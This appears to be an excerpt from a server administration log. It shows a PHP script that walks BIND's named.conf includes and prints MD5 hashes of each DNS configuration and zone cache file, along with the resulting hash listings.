MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:53:30: Establishing a connection
2026-04-23 14:53:30: 

PUT: /tmp/pkp386129

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:53:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp386129; rm /tmp/pkp386129'

2026-04-23 14:53:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
